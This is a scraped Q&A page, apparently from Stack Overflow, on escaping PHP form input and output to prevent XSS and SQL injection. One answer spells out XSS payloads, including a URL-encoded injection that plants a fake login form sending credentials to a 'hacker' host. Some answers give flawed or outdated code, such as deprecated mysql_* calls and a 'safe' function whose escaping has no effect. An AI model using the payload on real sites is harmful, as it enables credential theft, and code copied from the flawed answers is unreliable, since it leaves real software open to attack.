php safe output - php

I'm trying to make a "remember fields" thingy, so if there is one error you won't have to fill in the whole form again. But how can I make the output safe?
Example:
<input type="text" name="email" value="<?php echo (isset($_POST['email'])) ? htmlspecialchars($_POST['email']) : ''; ?>" />
If someone types in " ' " (without the quotes) for example you get:
Warning: mysql_result() expects parameter 1 to be resource, boolean given in C:\wamp\www\pages\register.php on line 55
So then I tried:
<input type="text" name="email" value="<?php echo (isset($_POST['email'])) ? mysql_real_escape_string($_POST['email']) : ''; ?>" />
Then it just adds a lot of //////.
What should I do?
I'm a noob yes. But I thought htmlspecialchars made user input safe?

It depends on context.
htmlspecialchars() is your friend in HTML.
mysql_real_escape_string() is your friend in MySQL.
Update
You could run all your $_POST through htmlspecialchars() first with this...
$encodedHtmlPost = array_map('htmlspecialchars', $_POST);

You have to use mysql_real_escape_string() before you put data in database, not for the output! It will prevent SQL injections. Use htmlspecialchars when outputting data to user, it prevents XSS attacks.
When inserting in database:
$data = mysql_real_escape_string($data);
mysql_query("INSERT INTO table1(data) VALUES('$data')"); //Safe insertion
When outputting to user:
echo htmlspecialchars($data);

As for html escaping, you should use a wrapper function because htmlspecialchars needs some parameters to produce reliably safe output:
htmlspecialchars($text, ENT_QUOTES, "UTF-8");

Related

Input security for post PHP [duplicate]

This question already has an answer here:
Should I use both striptags() and htmlspecialchars() to prevent XSS?
(1 answer)
Closed 7 years ago.
I´ve a doubt about SECURITY linked to POST data in PHP.
The context:
I´ve several input (text, email, radio) and some textarea.
EG
<input type="text" name="entries[]"> /* Input ARRAY */
<input type="text" name="username">
<textarea name="message[]">...</textarea> /* Textarea ARRAY */
What I´m doing is sending all the values to the *.php page and then, I print all of them
EG
if($_POST)
{
$entries = htmlspecialchars("$_POST['entries']", ENT_QUOTES);
$username = htmlspecialchars("$_POST['username']", ENT_QUOTES);
$message = htmlspecialchars("$_POST['message']", ENT_QUOTES);
echo $username;
echo...
echo...
}
I do not know too much about security. Is it ok JUST with htmlspecialchars...?
Or Have I to use other functions?
The data is JUST to print with echo on the *.php page (no MYSQL)
And yes, my doubt is about the cide that the user can put on each INPUT, because I don´t want to limitate their contents just to text or numbers, or similar.
Thanks.
You need to loop over the arrays.
$entries = array_map('htmlentities', $_POST['entries']);
$username = htmlentities($_POST['username']);
$message = array_map('htmlentities', $_POST['message']);
or to include ENT_QUOTES you can use:
$entries = array_map(function($x) {
return htmlentities($x, ENT_QUOTES);
}, $_POST['entries']);
and similarly for $message.

Can I safely output data to the user using this sanitize

So im trying to work out the best way to sanitize xss for safe output to the user.
More or less, when storing values from a form, im using strip_tags(); then bind_params();
And when Im about to output the data to the user Im also using htmlentities();
The data will only be shown inside <p> and <a> tags.
eg:
<p> Some data from user </p>
<a href=""> Some data from user </p>
Should this work?
Index.php
<form action="sante.php" method="post">
Name: <input type="text" name="fname">
Age: <input type="text" name="age">
<input type="submit">
</form>
And then sante.php
<?php
$name = $_POST["fname"];
$age = $_POST["age"];
$namn = strip_tags($name); // then storing into mysql with bind_param
$older = strip_tags($age); // then storing into mysql with bind_param
// before output, htmlentities
function safe( $value ) {
htmlentities( $value, ENT_QUOTES, 'utf-8' );
return $value;
}
// Now showing values
echo safe($namn). "<br>";
echo "<p>" .safe($older) . "</p>";
?>
Yes, you can use this code safely. I see you're already using bind_param (and I assume either the mysqli or PDO library), which prevents SQL injection (damage to you), and htmlentities, which prevents cross-site scripting (damage to the user).
You don't even need to call strip_tags before writing to the database, although it's a fine idea if you don't want user input to contain any JS/PHP/HTML tags at all (and also if you forget to call your safe function on output).
When you insert data to database you must use mysql_real_escape_string or use PDO,
if you display data you must use htmlspecialchars

HTML Special characters in DB and echo back in input

Morning,
I have created a small form to store some information to a database.
I have magic_quotes_gpc turned off on my server.
If i enter a " or a £ sign in the box is stores into the database without a worry.
When i echo it back with php it displays, but if i use the value in an input form field the " close the value field.
<input type="text" name="variable" value="<?php echo $row[variable]; ?>" />
I have now used htmlspecialchars around the input value and it works.
<input type="text" name="variable" value="<?php echo htmlspecialchars($row[variable]); ?>" />
But i have looked at open cart source as a reference and they do not use htmlspecialchars but store the data in a different way.
I tried using the urlencodes method they have used :
urlencode(html_entity_decode($_POST[variable],ENT_QUOTES, 'UTF-8'));
but this seems to store as a lot of numbers and + signs which did not display back correctly.
I would rather encode the update database instead of using the method i am with htmlspecialschars.
But not quite sure which way would be best?
Thank You
you may use
htmlentities() function in php
Perhaps try mysqli_real_escape_string($dblink, $string) instead of htmlspecialchars
For storing the HTML Character change the charters and then store them:
<?php
$new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
echo $new; // <a href='test'>Test</a>
?>
To get back the correct HTML Character do the decoding as:
<?php
$str = "<p>this -> "</p>\n";
echo htmlspecialchars_decode($str);
// note that here the quotes aren't converted
echo htmlspecialchars_decode($str, ENT_NOQUOTES);
?>
For more information refer to http://www.php.net/manual/en/function.htmlspecialchars.php

Why is this a XSS attack and how to prevent this? [duplicate]

This question already has answers here:
How to prevent XSS with HTML/PHP?
(9 answers)
Closed 5 months ago.
I have this php code and my CMS security auto-test says it's a XSS attack. Why and How can I fix this?
$url = "news.php";
if (isset($_GET['id']))
$url .= "?id=".$_GET["id"];
echo "<a href='{$url}'>News</a>";
It's XSS (cross site scripting) as someone could call your thing like this:
?id='></a><script type='text/javascript'>alert('xss');</script><a href='
Essentially turning your code into
<a href='news.php?id='></a><script type='text/javascript'>alert('xss');</script><a href=''>News</a>
Now whenever someone would visit this site, it'd load and run the javascript alert('xss'); which might as well be a redirector or a cookie stealer.
As many others have mentioned, you can fix this by using filter_var or intval (if it's a number). If you want to be more advanced, you could also use regex to match your string.
Imagine you accept a-z A-Z and 0-9. This would work:
if (preg_match("/^[0-9a-zA-Z]+$", $_GET["id"])) {
//whatever
}
filter_input even has a manual entry doing exactly what you want (sanitizing your input into a link):
<?php
$search_html = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);
$search_url = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_ENCODED);
echo "You have searched for $search_html.\n";
echo "<a href='?search=$search_url'>Search again.</a>";
?>
Yeah .. a simple attach
site.php?id=%27%3E%3C%2Fa%3E%3Cbr%3E%3Cbr%3EPlease+login+with+the+form+below+before%0D%0A%09proceeding%3A%3Cform+action%3D%22http%3A%2F%2Fhacker%2Ftest.php%22%3E%3Ctable%3E%0D%0A%09%3Ctr%3E%0D%0A%09%09%3Ctd%3ELogin%3A%3C%2Ftd%3E%0D%0A%09%09%3Ctd%3E%3Cinput+type%3Dtext+length%3D20+name%3Dlogin%3E%3C%2Ftd%3E%0D%0A%09%3C%2Ftr%3E%0D%0A%09%3Ctr%3E%0D%0A%09%09%3Ctd%3EPassword%3A%0D%0A%09%09%3C%2Ftd%3E%0D%0A%09%09%3Ctd%3E%3Cinput+type%3Dtext+length%3D20+name%3Dpassword%3E%3C%2Ftd%3E%0D%0A%09%3C%2Ftr%3E%0D%0A%09%3C%2Ftable%3E%0D%0A%09%3Cinput+type%3Dsubmit+value%3DLOGIN%3E%0D%0A%3C%2Fform%3E%3Ca+href%3D%27
^
|
Start XSS Injection
This would output
<a href='news.php?id='></a>
<br>
<br>
Please login with the form below before proceeding:
<form action="http://hacker/test.php">
<table>
<tr>
<td>Login:</td>
<td><input type=text length=20 name=login></td>
</tr>
<tr>
<td>Password:</td>
<td><input type=text length=20 name=password></td>
</tr>
</table>
<input type=submit value=LOGIN>
</form>
<a href=''>News</a>
Asking your client there username and password to continue and sending the information to http://hacker/test.php and they are then re directly back normally as if nothing happened
To fix this try
$_GET["id"] = intval($_GET["id"]);
Or
$_GET["id"] = filter_var($_GET["id"], FILTER_SANITIZE_NUMBER_INT);
You'll need to urlencode:
$url .= "?id=" . urlencode($_GET["id"]);
As a global rule you have to filter the contents of GET and POST. Use filter_var before using the contents of $_GET['id'].
$filtered_id = filter_var ($_GET['id'], FILTER_SANITIZE_NUMBER_INT);
// or at least
$id = (int) $_GET['id'];
Never use directly $_GET or $_POST!!!
You must escape it some way..
For example ..
$url = "news.php";
if (isset($_GET['id']) && $id=intval($_GET["id"])>0){
$url .= "?id={$id}";
}
echo "<a href='{$url}'>News</a>";

Separating php form values

I have a form and on submit, it goes to submit.php.
The input text looks like this:
<input name="hpno[1]" type="text" maxlength="3" size="3" /> - <input name="hpno[2]" type="text" maxlength="8" size="13" />
I need to store the data as per this format (010) 5839539.
Tried putting this in the submit.php
$hpno = implode('-', $_POST['hpno']); but this gives the output 010-5839539.
Any help would be much appreciated.
$(hpno) = '(' . implode(') ', $_POST['hpno']); ?
Sorry, rusty with my PHP. Let me know what that puts out, especially if it's just an error.
If you want it to be in the format (xxx) xxxxxxx, you'll have to do something like this:
$hpno = '('.$_POST["hpno[1]"].') '.$_POST["hpno[2]"];
You mentioned that you would be storing the data, so be careful if you're storing this in a database, you're clearly vulnerable to an injection attack this way.
You could help to prevent an SQL injection like this:
$hpno = mysql_real_escape_string("(" . $_POST['hpno[1]'] . ") " . $_POST['hpno[2]']);
This will give you the formatting you need and scrub the input (though it's not perfect, or bullet-proof).

Categories